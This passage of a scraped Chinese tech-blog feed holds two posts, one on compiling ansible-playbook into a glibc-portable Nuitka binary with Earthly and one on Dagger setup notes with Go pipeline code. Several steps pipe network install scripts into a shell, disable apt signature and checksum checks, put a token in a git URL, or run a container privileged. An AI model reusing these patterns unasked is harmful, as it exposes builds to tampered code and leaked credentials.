4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 VERSION 0.8 FROM python:3.9-slim-bullseye WORKDIR /workdir deps: RUN sed -i \u0026#34;s|http://deb.debian.org/debian|http://mirror.sjtu.edu.cn/debian|g\u0026#34; /etc/apt/sources.list \\ \u0026amp;\u0026amp; apt-get update -y # 安装 ansile 7 RUN python3.9 -m pip install ansible==7.7.0 -i https://mirror.sjtu.edu.cn/pypi/web/simple # 安装 nuitka 及其依赖 RUN apt-get install --no-install-recommends -y \\ python3.9-dev \\ build-essential \\ patchelf \\ ccache \\ clang \\ libfuse-dev \\ upx \\ \u0026amp;\u0026amp; python3.9 -m pip install nuitka==2.1.3 -i https://mirror.sjtu.edu.cn/pypi/web/simple build: FROM +deps RUN python3.9 -m nuitka \\ --onefile \\ --clang \\ --include-package=pty \\ --include-package=xml \\ --include-package-data=ansible:\u0026#39;*.py\u0026#39; \\ --include-package-data=ansible:\u0026#39;*.yml\u0026#39; \\ /usr/local/bin/ansible-playbook SAVE ARTIFACT ansible-playbook.bin AS LOCAL ansible-playbook.bin 执行 earthly +build 即可编译导出。\n但是这个方案依赖 GLIBC，并且因为基础镜像是 debian bullseye，所以运行环境需求 GLIBC_2.29，经测试需要 ubuntu 22 以上才可以使用。\n这个环境要求太苛刻了，很多企业内部的环境都达不到。\n静态编译？ Golang 编译的时候，我们可以使用 alpine + musl 的手段，构建出一个无依赖的静态可执行文件。那这个可以吗？\n经过我的一番调研，答案是基本走不通，原因是 python 有些库里面是使用 ctypes 调用了动态链接库，如果改用 musl 编译，则根本运行不了。\n后续会提供我 Nuitka + musl 静态编译的构建尝试经历。\n降低 GLIBC 要求？ Nuitka 官方对于静态编译的 issue 有做过一些回应，官方给出的方案是使用他们付费计划中提供的一个低版本 GLIBC 依赖的镜像来编译。\n这给了我灵感，我也可以使用低版本镜像，然后进行编译。\n步入正轨 这时才算走上比较可行的方案。\n经过尝试，我选用了 debian:jessie-slim 作为基础镜像。\n准备 Python 环境 但是我们需要安装一个 python 环境来编译，jessie 官方源里面的镜像实在太低了。\n这时我想到了之前研究过 Rye 这个 uv 生态中的工具，里面可以随时安装 python 版本，在源码中能看到该工具使用的是 Releases · indygreg/python-build-standalone 这个预打包好的 python 环境。\n尝试安装编译，但是使用 Nuitka 编译时总会报 gcc 相关的错误。\n经过一番调研，应该是 python-build-standalone 用的基础编译系统 GLIBC 版本较高，debian:jessie 上能安装的 gcc 最高版本和这个无法进行符号链接。\n所以决定自行从源码构建 python。\n看了下 python 的官方文档关于自行编译的文档，比较复杂，还是找找有没有现成的。\n首先我尝试了这个仓库 python-cmake-buildsystem/python-cmake-buildsystem：用于编译 Python 的 cmake 构建系统 \u0026mdash; python-cmake-buildsystem/python-cmake-buildsystem: A cmake buildsystem for compiling Python\n但是该仓库依赖的 cmake 版本比较高，而 debian:jessie 不满足，然后升级 cmake 又涉及到升级 glibc，死循环了。\n没有其他比较简单的方案了吗？\n想到还有个比较出名的工具是 pyenv，我去看了看工具源码，这个工具居然是从 python 源码编译的，试一试。\npython 安装没问题。\nNuitka 编译 helloworld 样例，出现问题了。\npyenv 默认采用 gcc 编译python，而 nuitka 会检测到 gcc 版本过低，不支持 c11，转用 g++，导致两边符号不对，nuitka 无法编译（我猜的）\n那我们改用 clang 试试，clang 就没有这个问题了，什么版本都能用，都支持 c11。\n经过测试，Nuitka 编译测试通过\n所以敲定 pyenv 的方案。\n最终方案 因为目前产品用的比较多的是 python 3.9，所以为了保持一致，还是使用 pyenv 安装了 3.9\n至于依赖包为什么用这些，我也是一点点根据报错扣出来的。\n根据上面的结论，我们可以给出一个 Earthfile\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 VERSION 0.8 FROM debian:jessie-slim WORKDIR /workdir deps: ENV PYTHON_BUILD_MIRROR_URL_SKIP_CHECKSUM=1 ENV PYTHON_BUILD_MIRROR_URL=\u0026#34;https://registry.npmmirror.com/-/binary/python\u0026#34; ENV PATH=\u0026#34;/root/.pyenv/bin:$PATH\u0026#34; RUN \\ # 写入镜像源 echo \u0026#39;deb [trusted=yes] http://mirrors.aliyun.com/debian-archive/debian jessie main\u0026#39; \u0026gt; /etc/apt/sources.list \\ \u0026amp;\u0026amp; echo \u0026#39;deb [trusted=yes] http://mirrors.aliyun.com/debian-archive/debian-security jessie/updates main\u0026#39; \u0026gt;\u0026gt; /etc/apt/sources.list \\ \u0026amp;\u0026amp; echo \u0026#39;deb-src [trusted=yes] http://mirrors.aliyun.com/debian-archive/debian jessie main\u0026#39; \u0026gt;\u0026gt; /etc/apt/sources.list \\ \u0026amp;\u0026amp; echo \u0026#39;deb-src [trusted=yes] http://mirrors.aliyun.com/debian-archive/debian-security jessie/updates main\u0026#39; \u0026gt;\u0026gt; /etc/apt/sources.list \\ \u0026amp;\u0026amp; echo \u0026#39;deb [trusted=yes] http://mirrors.aliyun.com/debian-archive/debian jessie-backports main\u0026#39; \u0026gt; /etc/apt/sources.list.d/backports.list \\ \u0026amp;\u0026amp; echo \u0026#39;deb-src [trusted=yes] http://mirrors.aliyun.com/debian-archive/debian jessie-backports main\u0026#39; \u0026gt;\u0026gt; /etc/apt/sources.list.d/backports.list \\ \u0026amp;\u0026amp; echo \u0026#39;deb [trusted=yes] http://mirrors.aliyun.com/debian-archive/debian jessie-backports-sloppy main\u0026#39; \u0026gt; /etc/apt/sources.list.d/backports-sloppy.list \\ \u0026amp;\u0026amp; echo \u0026#39;deb-src [trusted=yes] http://mirrors.aliyun.com/debian-archive/debian jessie-backports-sloppy main\u0026#39; \u0026gt;\u0026gt; /etc/apt/sources.list.d/backports-sloppy.list \\ \u0026amp;\u0026amp; apt-get update \\ # 构建python需要的装备 # 参考 https://github.com/pyenv/pyenv/issues/2426#issuecomment-1200430855 \u0026amp;\u0026amp; apt-get build-dep -y python3 \\ # https://github.com/pyenv/pyenv/wiki/Common-build-problems#2-your-openssl-version-is-incompatible-with-the-python-version-youre-trying-to-install \u0026amp;\u0026amp; apt-get -t jessie-backports install -y openssl \\ \u0026amp;\u0026amp; apt-get install --no-install-recommends -y \\ ca-certificates \\ patchelf \\ ccache \\ curl \\ git \\ # 构建python需要的装备 # 使用 clang 是因为 gcc 版本过低 # pyenv 默认采用 gcc 编译python，而 nuitka 会检测到 gcc 版本过低，不支持 c11，转用 g++，导致两边符号不对，nuitka 无法编译（我猜的） # 而 clang 就没有这个问题了，什么版本都能用，都支持 c11 # 参见 https://nuitka.net/doc/user-manual.html#c-compiler clang \\ build-essential \\ gdb \\ lcov \\ pkg-config \\ libbz2-dev \\ libffi-dev \\ libgdbm-dev \\ liblzma-dev \\ libncurses5-dev \\ libreadline6-dev \\ libsqlite3-dev \\ libssl-dev \\ lzma \\ lzma-dev \\ tk-dev \\ uuid-dev \\ zlib1g-dev # 从源码构建安装 python 3.9.19 RUN curl -L https://raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | bash RUN eval \u0026#34;$(pyenv init -)\u0026#34; RUN PYTHON_CONFIGURE_OPTS=\u0026#34;--enable-shared\u0026#34; CXX=\u0026#34;clang++\u0026#34; CC=\u0026#34;clang\u0026#34; pyenv install 3.9.19 \\ \u0026amp;\u0026amp; pyenv global 3.9.19 build: FROM +deps RUN /root/.pyenv/versions/3.9.19/bin/python -m pip install --force-reinstall ansible==7.7.0 nuitka==2.1.3 -i https://mirror.sjtu.edu.cn/pypi/web/simple # 此处编译的时候不能再设置 CXX=\u0026#34;clang++\u0026#34; CC=\u0026#34;clang\u0026#34;，否则会出现下面的错误 # TypeError: \u0026#39;NoneType\u0026#39; object is not iterable: # File \u0026#34;/root/.pyenv/versions/3.9.19/lib/python3.9/site-packages/nuitka/build/Onefile.scons\u0026#34;, line 314: # reportCCompiler(env, \u0026#34;Onefile\u0026#34;, output_func=scons_logger.info) # File \u0026#34;/root/.pyenv/versions/3.9.19/lib/python3.9/site-packages/nuitka/build/SconsCompilerSettings.py\u0026#34;, line 971: # \u0026#34;.\u0026#34;.join(str(d) for d in env.gcc_version), # FATAL: Error, onefile bootstrap binary build failed. # 无法创建 onefile RUN /root/.pyenv/versions/3.9.19/bin/python -m nuitka \\ --clang \\ --onefile \\ --include-package=pty \\ --include-package=xml \\ --include-package-data=ansible:\u0026#39;*.py\u0026#39; \\ --include-package-data=ansible:\u0026#39;*.yml\u0026#39; \\ /root/.pyenv/versions/3.9.19/bin/ansible-playbook SAVE ARTIFACT ansible-playbook.bin AS LOCAL ansible-playbook.bin 执行 earthly +build 即可编译，经过测试，该版本的 ansible-playbook.bin 甚至能在 Ubuntu 14 上使用\n至于其他踩的坑，从我上面这些代码的注释中也能看出来。\n","permalink":"https://www.hacktech.cn/post/2024/11/ansibleplaybook-independent-binary-compilation-actual-record-2f3tyf/","summary":"\u003ch2 id=\"背景起因\"\u003e背景/起因\u003c/h2\u003e\n\u003cp\u003e内部产品涉及到很多 docker 镜像，分布式安装涉及很多主机，所以采用了 ansible 来编写部署脚本，但是有时候会因为部署机器的系统或安装的 ansible 版本不同，总是会有各种各样的问题。\u003c/p\u003e","title":"ansible-playbook 独立二进制编译实录"},{"content":"Dagger 使用札记 工具介绍 用于构建 DevOps 工作流的开源平台，旨在简化和标准化复杂的 CI/CD 管道。\nDagger 提供了 Go/Python/TypeScript 等语言的 sdk，使你能使用这些语言来操作 BuildKit 来生成或推送你想要的文件或镜像\n用法 以下的安装和初始化给出了国内网络环境下的使用\n安装 工欲善其事必先利其器，首先就是需要下载使用\n首先可以按照官网 Installation | Dagger 来进行安装\n1 curl -fsSL https://dl.dagger.io/dagger/install.sh | BIN_DIR=/usr/local/bin sudo -E sh 初始化 我们可以使用如下命令对我们已有的项目进行初始化\n1 dagger init --sdk=go --source=./dagger 但是你可能会碰到如下错误\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ✘ connect 17.0s ! start engine: failed to pull image: failed to run command: exit status 1 ✘ starting engine 17.0s ! failed to pull image: failed to run command: exit status 1 ✘ create 17.0s ! failed to pull image: failed to run command: exit status 1 ✔ exec docker ps -a --no-trunc --filter name=^/dagger-engine- --format {{.Names}} 0.3s ✘ exec docker inspect --type=image registry.dagger.io/engine:v0.13.7 0.0s ! failed to run command: exit status 1 ┃ [] ┃ Error response from daemon: No such image: registry.dagger.io/engine:v0.13.7 ✘ exec docker pull registry.dagger.io/engine:v0.13.7 16.7s ! failed to run command: exit status 1 ┃ Error response from daemon: Get \u0026#34;https://registry.dagger.io/v2/\u0026#34;: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers) Error: start engine: failed to pull image: failed to run command: exit status 1 错误提示我们拉取不到镜像，很明显是网络问题\n根据以下链接\n记录如何在私有 Intranet 中运行 dagger · 问题 #6275 · dagger/dagger \u0026mdash; Document how to run dagger in a private intranet · Issue #6275 · dagger/dagger 缺少有关如何在公司代理后面使用 dagger 的文档 · 问题 #5240 · dagger/dagger \u0026mdash; Missing documentation on how to use dagger behind a corporate proxy · Issue #5240 · dagger/dagger 支持本地调试远程引擎·问题#25852·airbytehq/airbyte \u0026mdash; Support for debugging remote engines locally · Issue #25852 · airbytehq/airbyte 我们可以得到一个解决方案（文档参见 Custom Runner | Dagger）\n1 2 export _EXPERIMENTAL_DAGGER_RUNNER_HOST=docker-image://ghcr.nju.edu.cn/dagger/engine:v0.13.7 dagger init --sdk=go --source=./dagger 但可能还是会报错\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 ✔ connect 7m19.9s ✔ cache request: mkfile /schema.json 0.0s ✔ mkfile /schema.json 0.1s ✔ cache request: blob://sha256:ccfd910d90eb8e37ae8d9131e99f63cec19c582e841db89062a05342514c2165 0.0s ✔ blob://sha256:ccfd910d90eb8e37ae8d9131e99f63cec19c582e841db89062a05342514c2165 0.0s ✔ moduleSource(refString: \u0026#34;.\u0026#34;): ModuleSource! 0.0s ✔ ModuleSource.kind: ModuleSourceKind! 0.0s ✔ ModuleSource.resolveContextPathFromCaller: String! 0.0s ✔ ModuleSource.withName(name: \u0026#34;z_deploy\u0026#34;): ModuleSource! 0.0s ✔ ModuleSource.withSDK(sdk: \u0026#34;go\u0026#34;): ModuleSource! 0.0s ✔ ModuleSource.withInit: ModuleSource! 0.0s ✔ ModuleSource.withSourceSubpath(path: \u0026#34;dagger\u0026#34;): ModuleSource! 0.0s ✔ ModuleSource.resolveFromCaller: ModuleSource! 0.2s ✘ ModuleSource.asModule(engineVersion: \u0026#34;latest\u0026#34;): Module! 45.2s ! failed to create module: select: failed to update codegen and runtime: failed to generate code: failed to get modified source directory for go module sdk codegen: select: process \u0026#34;codegen --output /src --module-context-path /src/z_deploy/dagger --module-name z_deploy --introspection-json-path /schema.json --merge=false\u0026#34; did not complete successfully: exit code: 1 Error: failed to generate code: input: moduleSource.withContextDirectory.withName.withSDK.withSourceSubpath.withInit.asModule resolve: failed to create module: select: failed to update codegen and runtime: failed to generate code: failed to get modified source directory for go module sdk codegen: select: process \u0026#34;codegen --output /src --module-context-path /src/z_deploy/dagger --module-name z_deploy --introspection-json-path /schema.json --merge=false\u0026#34; did not complete successfully: exit code: 1 Stdout: generating go module: z_deploy creating directory . [skipped] creating directory z_deploy [skipped] creating directory z_deploy/dagger [skipped] writing z_deploy/dagger/dagger.gen.go writing z_deploy/dagger/go.mod writing z_deploy/dagger/go.sum creating directory z_deploy/dagger/internal creating directory z_deploy/dagger/internal/dagger writing z_deploy/dagger/internal/dagger/dagger.gen.go creating directory z_deploy/dagger/internal/querybuilder writing z_deploy/dagger/internal/querybuilder/marshal.go writing z_deploy/dagger/internal/querybuilder/querybuilder.go creating directory z_deploy/dagger/internal/telemetry writing z_deploy/dagger/internal/telemetry/attrs.go writing z_deploy/dagger/internal/telemetry/env.go writing z_deploy/dagger/internal/telemetry/exporters.go writing z_deploy/dagger/internal/telemetry/init.go writing z_deploy/dagger/internal/telemetry/live.go writing z_deploy/dagger/internal/telemetry/logging.go writing z_deploy/dagger/internal/telemetry/metrics.go writing z_deploy/dagger/internal/telemetry/proxy.go writing z_deploy/dagger/internal/telemetry/span.go writing z_deploy/dagger/internal/telemetry/transform.go writing z_deploy/dagger/main.go creating directory z_deploy/dagger/internal [skipped] creating directory z_deploy/dagger/internal/dagger [skipped] writing z_deploy/dagger/internal/dagger/dagger.gen.go [skipped] creating directory z_deploy/dagger/internal/querybuilder [skipped] writing z_deploy/dagger/internal/querybuilder/marshal.go [skipped] writing z_deploy/dagger/internal/querybuilder/querybuilder.go [skipped] creating directory z_deploy/dagger/internal/telemetry [skipped] writing z_deploy/dagger/internal/telemetry/attrs.go [skipped] writing z_deploy/dagger/internal/telemetry/env.go [skipped] writing z_deploy/dagger/internal/telemetry/exporters.go [skipped] writing z_deploy/dagger/internal/telemetry/init.go [skipped] writing z_deploy/dagger/internal/telemetry/live.go [skipped] writing z_deploy/dagger/internal/telemetry/logging.go [skipped] writing z_deploy/dagger/internal/telemetry/metrics.go [skipped] writing z_deploy/dagger/internal/telemetry/proxy.go [skipped] writing z_deploy/dagger/internal/telemetry/span.go [skipped] writing z_deploy/dagger/internal/telemetry/transform.go [skipped] running post-command: go mod tidy post-command failed: exit status 1 Stderr: go: downloading github.com/stretchr/testify v1.9.0 go: github.com/go-logr/stdr@v1.2.2 requires github.com/go-logr/logr@v1.2.2: Get \u0026#34;https://proxy.golang.org/github.com/go-logr/logr/@v/v1.2.2.mod\u0026#34;: dial tcp 142.250.217.113:443: i/o timeout Error: exit status 1 我搜索了一下，在这里找到了方案\n🐞 Dagger 模块在企业环境中崩溃 · Issue #6599 · dagger/dagger \u0026mdash; 🐞 Dagger modules break in corporate environments · Issue #6599 · dagger/dagger engine: support for system proxy settings by sipsma · Pull Request #7255 · dagger/dagger 我们可以设置 _DAGGER_ENGINE_SYSTEMENV_GOPROXY​ 环境变量，让我们试试\n1 2 3 export _DAGGER_ENGINE_SYSTEMENV_GOPROXY=https://goproxy.cn,direct # 使用 -vvv 打印更丰富的日志 dagger init --sdk=go --source=./dagger -vvv 我们会发现还是报同样的错误，我在 🐞 Dagger 模块在企业环境中崩溃 · Issue #6599 · dagger/dagger \u0026mdash; 🐞 Dagger modules break in corporate environments · Issue #6599 · dagger/dagger 问了下大家，发现这个环境变量并不是作用于客户端，而是引擎。\n通过我们上面 -vvv​ 可以看到实际调用的 docker run​ 命令是\n1 docker run --name dagger-engine-v0.13.7 -d --restart always -v /var/lib/dagger --privileged ghcr.nju.edu.cn/dagger/engine:v0.13.7 --debug 所以最终的处理方案是\n1 2 3 export _EXPERIMENTAL_DAGGER_RUNNER_HOST=docker-image://ghcr.nju.edu.cn/dagger/engine:v0.13.7 docker run --name dagger-engine-v0.13.7 -d --restart always -v /var/lib/dagger -e _DAGGER_ENGINE_SYSTEMENV_GOPROXY=https://goproxy.cn,direct --privileged ghcr.nju.edu.cn/dagger/engine:v0.13.7 --debug dagger init --sdk=go --source=./dagger -vvv 将 _EXPERIMENTAL_DAGGER_RUNNER_HOST​ 设置为 docker-image://ghcr.nju.edu.cn/dagger/engine:v0.13.7​ 将会指示 dagger 客户端查找当前是否有对应镜像的容器正在运行，如果没有，则按照内置的命令创建一个。或者你也可以使用 docker-container://dagger-engine-v0.13.7​ 直接指定容器。\n使用样例 这里给出一个使用样例，我们希望有的功能清单为\n编译出二进制 编译多架构 Docker 镜像并推送到远端 目录结构 1 2 3 4 5 6 7 8 9 . ├── dagger.json ├── dagger │ ├── ... │ └── main.go ├── .goreleaser.yaml ├── makefile ├── go.mod └── go.sum 文件内容 dagger/main.go 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 package main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;time\u0026#34; \u0026#34;dagger/peien-engine/internal/dagger\u0026#34; ) type MyEngine struct{} func (m *MyEngine) joinCommands(cmds []string) string { return strings.Join(cmds, \u0026#34; \u0026amp;\u0026amp; \u0026#34;) } func (m *MyEngine) BuildApp(ctx context.Context, src *dagger.Directory, token *dagger.Secret) *dagger.Container { // build app builder := dag.Container(). From(\u0026#34;golang:1.22-bullseye\u0026#34;). WithSecretVariable(\u0026#34;GITEA_TOKEN\u0026#34;, token). WithWorkdir(\u0026#34;/src\u0026#34;). WithMountedCache(\u0026#34;/go/pkg/mod\u0026#34;, dag.CacheVolume(\u0026#34;go-mod\u0026#34;)). WithEnvVariable(\u0026#34;GOMODCACHE\u0026#34;, \u0026#34;/go/pkg/mod\u0026#34;). WithMountedCache(\u0026#34;/go/build-cache\u0026#34;, dag.CacheVolume(\u0026#34;go-build\u0026#34;)). WithEnvVariable(\u0026#34;GOCACHE\u0026#34;, \u0026#34;/go/build-cache\u0026#34;). WithEnvVariable(\u0026#34;CGO_ENABLED\u0026#34;, \u0026#34;0\u0026#34;). WithEnvVariable(\u0026#34;GOPROXY\u0026#34;, \u0026#34;https://goproxy.cn,direct\u0026#34;). WithEnvVariable(\u0026#34;GOINSECURE\u0026#34;, \u0026#34;gitprivate.com\u0026#34;). WithEnvVariable(\u0026#34;GOPRIVATE\u0026#34;, \u0026#34;gitprivate.com\u0026#34;). WithExec([]string{\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, m.joinCommands([]string{ \u0026#34;curl -L -o goreleaser_Linux_x86_64.tar.gz https://files.m.daocloud.io/github.com/goreleaser/goreleaser/releases/download/v2.3.2/goreleaser_Linux_x86_64.tar.gz\u0026#34;, \u0026#34;tar -xzvf goreleaser_Linux_x86_64.tar.gz -C /usr/local/bin goreleaser\u0026#34;, \u0026#34;chmod +x /usr/local/bin/goreleaser\u0026#34;, \u0026#34;rm -rf goreleaser_Linux_x86_64.tar.gz\u0026#34;, })}). WithExec([]string{\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, `git config --global url.\u0026#34;http://${GITEA_TOKEN}@gitprivate.com\u0026#34;.insteadOf \u0026#34;http://gitprivate.com\u0026#34;`}). WithDirectory(\u0026#34;/src\u0026#34;, src). WithExec([]string{\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, m.joinCommands([]string{ \u0026#34;goreleaser build --skip=validate --clean\u0026#34;, \u0026#34;mv dist/my-engine_linux_amd64_v1 dist/my-engine_linux_amd64\u0026#34;, })}) return builder } func (m *MyEngine) buildImage(platform dagger.Platform, src *dagger.Directory, appName string, version string, builder *dagger.Container) *dagger.Container { osArch := strings.Split(string(platform), \u0026#34;/\u0026#34;)[1] ctr := dag.Container(dagger.ContainerOpts{Platform: platform}). From(\u0026#34;debian:bullseye-slim\u0026#34;). WithLabel(\u0026#34;org.opencontainers.image.version\u0026#34;, version). WithLabel(\u0026#34;org.opencontainers.image.created\u0026#34;, time.Now().String()). WithWorkdir(\u0026#34;/app\u0026#34;). WithEnvVariable(\u0026#34;TZ\u0026#34;, \u0026#34;Asia/Shanghai\u0026#34;). WithExec([]string{\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, m.joinCommands([]string{ \u0026#34;sed -i \u0026#39;s|http://deb.debian.org/debian|http://mirror.sjtu.edu.cn/debian|g\u0026#39; /etc/apt/sources.list\u0026#34;, \u0026#34;sed -i \u0026#39;/security.debian.org/d\u0026#39; /etc/apt/sources.list\u0026#34;, \u0026#34;apt-get update\u0026#34;, \u0026#34;apt-get -qq install -y --no-install-recommends ca-certificates curl openssl firefox-esr firefox-esr-l10n-zh-cn wget fontconfig\u0026#34;, // 清理 apt 缓存 \u0026#34;apt-get clean -y\u0026#34;, \u0026#34;rm -rf /var/lib/apt/lists/*\u0026#34;, })}). WithFile(fmt.Sprintf(\u0026#34;/app/%s\u0026#34;, appName), builder.File(fmt.Sprintf(\u0026#34;/src/dist/%s_linux_%s/%s\u0026#34;, appName, osArch, appName))). WithEntrypoint([]string{fmt.Sprintf(\u0026#34;/app/%s\u0026#34;, appName)}) return ctr } func (m *MyEngine) BuildOneImage( ctx context.Context, src *dagger.Directory, // GITEA TOKEN token *dagger.Secret, // +optional // +default=\u0026#34;\u0026#34; imageName string, // +optional // +default=\u0026#34;unknown\u0026#34; version string, ) (*dagger.Container, error) { builder := m.BuildApp(ctx, src, token) appName := \u0026#34;my-engine\u0026#34; ctr := m.buildImage(\u0026#34;linux/amd64\u0026#34;, src, appName, version, builder) if imageName == \u0026#34;\u0026#34; { imageName = fmt.Sprintf(\u0026#34;docker-registry.com/akkuman/%s:easm-dev\u0026#34;, appName) } ctr = ctr.WithAnnotation(\u0026#34;io.containerd.image.name\u0026#34;, imageName) return ctr, nil } func (m *MyEngine) BuildAllImagePublish( ctx context.Context, src *dagger.Directory, token *dagger.Secret, version string, registryUser string, registryPass *dagger.Secret, ) ([]string, error) { builder := m.BuildApp(ctx, src, token) var platforms = []dagger.Platform{ \u0026#34;linux/amd64\u0026#34;, // a.k.a. x86_64 \u0026#34;linux/arm64\u0026#34;, // a.k.a. aarch64 } var imageRepos []string appName := \u0026#34;my-engine\u0026#34; platformVariants := make([]*dagger.Container, 0, len(platforms)) for _, platform := range platforms { ctr := m.buildImage(platform, src, appName, version, builder) platformVariants = append(platformVariants, ctr) } imageRepo := []string{ fmt.Sprintf(\u0026#34;docker-registry.com/akkuman/%s:latest\u0026#34;, appName), fmt.Sprintf(\u0026#34;docker-registry.com/akkuman/%s:%s\u0026#34;, appName, version), } for _, repoAddr := range imageRepo { addr, err := dag.Container().WithRegistryAuth(\u0026#34;docker-registry.com/\u0026#34;, registryUser, registryPass).Publish(ctx, repoAddr, dagger.ContainerPublishOpts{ PlatformVariants: platformVariants, }) if err != nil { return nil, err } imageRepos = append(imageRepos, addr) } return imageRepos, nil } makefile 1 2 3 4 5 6 7 8 9 10 11 build: goreleaser build --skip=validate --clean dagger-build: # 编译后可在 dist 目录下查看 dagger call build-app --src=. --token=env:GITEA_TOKEN directory --path=\u0026#34;/src/dist\u0026#34; export --path=\u0026#34;./dist\u0026#34; image-build-export: # 构建 amd64 镜像并导出到 my-engine.tgz dagger call build-one-image --src=. --token=env:GITEA_TOKEN export --path=my-engine.tgz build-all-publish: # 构建多架构镜像并推送 dagger call build-all-image-publish --src=. --token=env:GITEA_TOKEN --version=\u0026#34;$GIT_TAG\u0026#34; --registry-user=\u0026#34;$DOCKER_USERNAME\u0026#34; --registry-pass=env:DOCKER_PASSWORD 一些 Tips Dagger CLI 某些功能可以和代码等同 拿 Golang 编译然后导出到本地目录做演示\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;time\u0026#34; \u0026#34;dagger/peien-engine/internal/dagger\u0026#34; ) type PeienEngine struct{} func (m *PeienEngine) joinCommands(cmds []string) string { return strings.Join(cmds, \u0026#34; \u0026amp;\u0026amp; \u0026#34;) } func (m *PeienEngine) BuildApp(ctx context.Context, src *dagger.Directory, token *dagger.Secret) *dagger.Container { // build app builder := dag.Container(). ... WithExec([]string{\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, m.joinCommands([]string{ \u0026#34;goreleaser build --skip=validate --clean\u0026#34;, \u0026#34;mv dist/engine_linux_amd64_v1 dist/engine_linux_amd64\u0026#34;, })}) return builder } 可以使用如下命令导出编译产物\n1 2 # 编译后可在 dist 目录下查看 dagger call build-app --src=. --token=env:GITEA_TOKEN directory --path=\u0026#34;/src/dist\u0026#34; export --path=\u0026#34;./dist\u0026#34; 也可以新建一个函数\n1 2 3 func (m *PeienEngine) BuildAndExport(ctx context.Context, src *dagger.Directory, token *dagger.Secret) (string, error) { return m.BuildApp(ctx, src, token).Directory(\u0026#34;/src/dist\u0026#34;).Export(\u0026#34;./dist\u0026#34;) } 然后执行命令 dagger call build-and-export --src=. --token=env:GITEA_TOKEN​\nWithExec 不会合并成一层 我们写 Dockerfile 的时候，常常为了体积考虑，会把几行命令写成一行，比如上面的\n1 2 RUN goreleaser build --skip=validate --clean \u0026amp;\u0026amp; \\ mv dist/engine_linux_amd64_v1 dist/engine_linux_amd64 如果写成两行的话，则编译出来会占用编译产物的所有体积，然后下面的 mv​ 又会占用一次体积。\n而 Dagger 官方示例中处处都是类似下面这种\n1 2 3 ... WithExec([]string{\u0026#34;goreleaser\u0026#34;, \u0026#34;build\u0026#34;, \u0026#34;--skip=validate\u0026#34;, \u0026#34;--clean\u0026#34;}). WithExec([]string{\u0026#34;mv\u0026#34;, \u0026#34;dist/engine_linux_amd64_v1\u0026#34;, \u0026#34;dist/engine_linux_amd64\u0026#34;}) 最开始我以为既然官方示例这么写，那应该会自动合并，但是我使用 dive 查看后，发现并没有合并，上面这种写法基本等同下面两行 RUN​\n1 2 RUN goreleaser build --skip=validate --clean RUN mv dist/engine_linux_amd64_v1 dist/engine_linux_amd64 所以需要合并的，最好使用 sh -c​ 来合并，例如\n1 WithExec([]string{\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;,\u0026#34;goreleaser build --skip=validate --clean \u0026amp;\u0026amp; mv dist/engine_linux_amd64_v1 dist/engine_linux_amd64\u0026#34;)}) 操作是有序的 可能我们会看到很多 WithX 操作，比如\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 builder := dag.Container(). From(\u0026#34;golang:1.22-bullseye\u0026#34;). WithSecretVariable(\u0026#34;GITEA_TOKEN\u0026#34;, token). WithWorkdir(\u0026#34;/src\u0026#34;). WithMountedCache(\u0026#34;/go/pkg/mod\u0026#34;, dag.CacheVolume(\u0026#34;go-mod\u0026#34;)). WithEnvVariable(\u0026#34;GOMODCACHE\u0026#34;, \u0026#34;/go/pkg/mod\u0026#34;). WithMountedCache(\u0026#34;/go/build-cache\u0026#34;, dag.CacheVolume(\u0026#34;go-build\u0026#34;)). WithEnvVariable(\u0026#34;GOCACHE\u0026#34;, \u0026#34;/go/build-cache\u0026#34;). WithEnvVariable(\u0026#34;CGO_ENABLED\u0026#34;, \u0026#34;0\u0026#34;). WithEnvVariable(\u0026#34;GOPROXY\u0026#34;, \u0026#34;https://goproxy.cn,direct\u0026#34;). WithExec([]string{\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, m.joinCommands([]string{ \u0026#34;curl -L -o goreleaser_Linux_x86_64.tar.gz https://github.com/goreleaser/goreleaser/releases/download/v2.3.2/goreleaser_Linux_x86_64.tar.gz\u0026#34;, \u0026#34;tar -xzvf goreleaser_Linux_x86_64.tar.gz -C /usr/local/bin goreleaser\u0026#34;, \u0026#34;chmod +x /usr/local/bin/goreleaser\u0026#34;, \u0026#34;rm -rf goreleaser_Linux_x86_64.tar.gz\u0026#34;, })}). WithDirectory(\u0026#34;/src\u0026#34;, src). WithExec([]string{\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, m.joinCommands([]string{ 